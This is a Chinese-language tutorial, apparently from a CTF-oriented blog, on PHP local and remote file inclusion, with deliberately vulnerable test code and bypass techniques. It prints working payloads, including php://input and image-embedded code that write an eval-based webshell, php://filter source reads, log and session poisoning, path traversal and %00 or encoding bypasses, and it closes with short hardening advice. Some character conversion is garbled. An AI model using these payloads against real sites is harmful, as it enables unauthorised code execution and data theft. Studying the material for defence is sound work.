经过PHP函数引入文件时,传入的文件名没有通过合理的验证,从而操做了预想以外的文件,就可能致使意外的文件泄漏甚至恶意代码注入。
php
php中常见的文件包含函数有如下四种:html
include与require基本是相同的,除了错误处理方面:java
PHP 提供了一些杂项输入/输出(IO)流,容许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及能够操做其余读取写入文件资源的过滤器。linux
php://input能够访问请求的原始数据的只读流,将post请求的数据看成php代码执行。当传入的参数做为文件名打开时,能够将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容看成文件内容。从而致使任意代码执行。
git
Example 1: 形成任意代码执行github
<meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中"; include($file); }else{ echo '<a href="?file=http://www.baidu.com">click go baidu</a>'; } ?>
注:利用php://input还能够写入php木马,即在post中传入以下代码:web
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
Example 2: 文件内容绕过shell
//test.php <?php show_source(__FILE__); include('flag.php'); $a= $_GET["a"]; if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ echo "success\n"; echo $flag; } //flag.php <?php $flag = 'flag{flag_is_here}'; ?>
审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,便可显示$flag。因此可使用php://input获得原始的post数据,访问请求的原始数据的只读流,将post请求中的数据做为PHP代码执行来进行绕过。
注:遇到file_get_contents()要想到用php://input绕过。apache
php://filter能够获取指定文件源码。当它与包含函数结合时,php://filter流会被看成php文件执行。因此咱们通常对其进行编码,让其不执行。从而致使 任意文件读取。
POC1直接读取xxx.php文件,但大多数时候不少信息没法直接显示在浏览器页面上,因此须要采起POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。windows
注:更多php://filter用法可参考:谈一谈php://filter的妙用
Example 1:
<meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo '<a href="?file=flag.php">tips</a>'; } ?>
1.点击tip后进入以下页面,看到url中出现file=flag.php,以下:
2.尝试payload:?file=php://filter/resource=flag.php,发现没法显示内容:
3.尝试payload:?file=php://filter/read=convert.base64-encode/resource=flag.php,获得一串base64字符,解码得flag在flag.php源码中的注释里:
zip:// 能够访问压缩包里面的文件。当它与包含函数结合时,zip://流会被看成php文件执行。从而实现任意代码执行。
//index.php <meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if (!$file) echo '<a href="?file=upload">upload?</a>'; if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){ echo "hick?"; exit(); }else{ include($file.".php"); } ?> <!-- flag在当前目录的某个文件中 -->
//upload.php <meta charset="utf-8"> <form action="upload.php" method="post" enctype="multipart/form-data" > <input type="file" name="fupload" /> <input type="submit" value="upload!" /> </form> you can upload jpg,png,zip....<br /> <?php if( isset( $_FILES['fupload'] ) ) { $uploaded_name = $_FILES[ 'fupload' ][ 'name' ]; //文件名 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //文件后缀 $uploaded_size = $_FILES[ 'fupload' ][ 'size' ]; //文件大小 $uploaded_tmp = $_FILES[ 'fupload' ][ 'tmp_name' ]; // 存储在服务器的文件的临时副本的名称 $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext; if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) && ( $uploaded_size < 100000 ) ) { if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No echo '<pre>upload error</pre>'; } else {// Yes! echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>"; } } else { echo '<pre>you can upload jpg,png,zip....</pre>'; } } ?>
data:// 一样相似与php://input,可让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被看成php文件执行。从而致使任意代码执行。
phar:// 有点相似zip://一样能够致使 任意代码执行。
WEB服务器通常会将用户的访问记录保存在访问日志中。那么咱们能够根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,经过文件包含漏洞来执行日志中的PHP代码。
Apache运行后通常默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
若是访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,可是代码中的敏感字符会被浏览器转码,咱们能够经过burpsuit绕过编码,就能够把<?php phpinfo(); ?> 写入apache的日志文件,而后能够经过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,因此为了安全起见,安装apache时尽可能不要使用默认路径。
参考文章:1.包含日志文件getshell
2.一道包含日志文件的CTF题
能够先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含便可。
利用条件:
php的session文件的保存路径能够在phpinfo的session.save_path看到。
session常见存储路径:
参考文章:一道SESSION包含的CTF题
proc/self/environ中会保存user-agent头,若是在user-agent中插入php代码,则php代码会被写入到environ中,以后再包含它,便可。
利用条件:
参考文章:proc / self / environ Injection
php中上传文件,会建立临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除以前,利用竞争便可包含该临时文件。
因为包含须要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不一样的文件名,因此这个方法是可行的。
另外一种方法是配合phpinfo页面的php variables,能够直接获取到上传文件的存储路径和临时文件名,直接包含便可。这个方法能够参考LFI With PHPInfo Assistance
相似利用临时文件的存在,竞争时间去包含的,能够看看这道CTF题:XMAN夏令营-2017-babyweb-writeup
不少网站一般会提供文件上传功能,好比:上传头像、文档等,这时就能够采起上传一句话图片木马的方式进行包含。
图片马的制做方式以下,在cmd控制台下输入:
进入1.jph和2.php的文件目录后,执行: copy 1.jpg/b+2.php 3.jpg 将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
图片代码以下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
而后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg
,包含这张图片,将会在index.php
所在的目录下生成shell.php
使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
测试代码以下:
<?php error_reporting(0); $file = $_GET["file"]; //前缀 include "/var/www/html/".$file; highlight_file(__FILE__); ?>
如今在/var/log目录下有文件flag.txt,则利用…/能够进行目录遍历,好比咱们尝试访问:
include.php?file=../../log/flag.txt
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。
服务器端经常会对于../等作一些过滤,能够用一些编码来进行绕过。
1.利用url编码
../
..\
2.二次编码
3.容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/
..\
后缀绕过测试代码以下,下述各后缀绕过方法均使用此代码:
<?php error_reporting(0); $file = $_GET["file"]; //后缀 include $file.".txt"; highlight_file(__FILE__); ?>
在远程文件包含漏洞(RFI)中,能够利用query或fragment来绕事后缀限制。
可参考此文章:URI’s fragment
完整url格式:
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
query(?)
?file=http://localhost:8081/phpinfo.php?
?file=http://localhost:8081/phpinfo.php?.txt
Example:(设在根目录下有flag2.txt文件)
fragment(#)
?file=http://localhost:8081/phpinfo.php%23
?file=http://localhost:8081/phpinfo.php#.txt
Example:(设在根目录下有flag2.txt文件)
利用zip://和phar://,因为整个压缩包都是咱们的可控参数,那么只须要知道他们的后缀,即可以本身构建。
zip://
?file=zip://D:\zip.jpg%23phpinfo
?file=zip://D:\zip.jpg#phpinfo.txt
phar://
?file=phar://zip.zip/phpinfo
?file=phar://zip.zip/phpinfo.txt
Example:
(个人环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>))
因此分别构造payload为:
?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
?file=phar://../../php.zip/phpinfo
利用条件:
原理:
利用方法:
只须要不断的重复 ./(Windows系统下也能够直接用 . 截断)
?file=./././。。。省略。。。././shell.php
则指定的后缀.txt会在达到最大值后会被直接丢弃掉
利用条件:
利用方法:
直接在文件名的最后加上%00来截断指定的后缀名
?file=shell.php%00
注:如今用到%00阶段的状况已经很少了
allow_url_include和allow_url_fopen最小权限化
设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)
白名单限制包含文件,或者严格过滤 . / \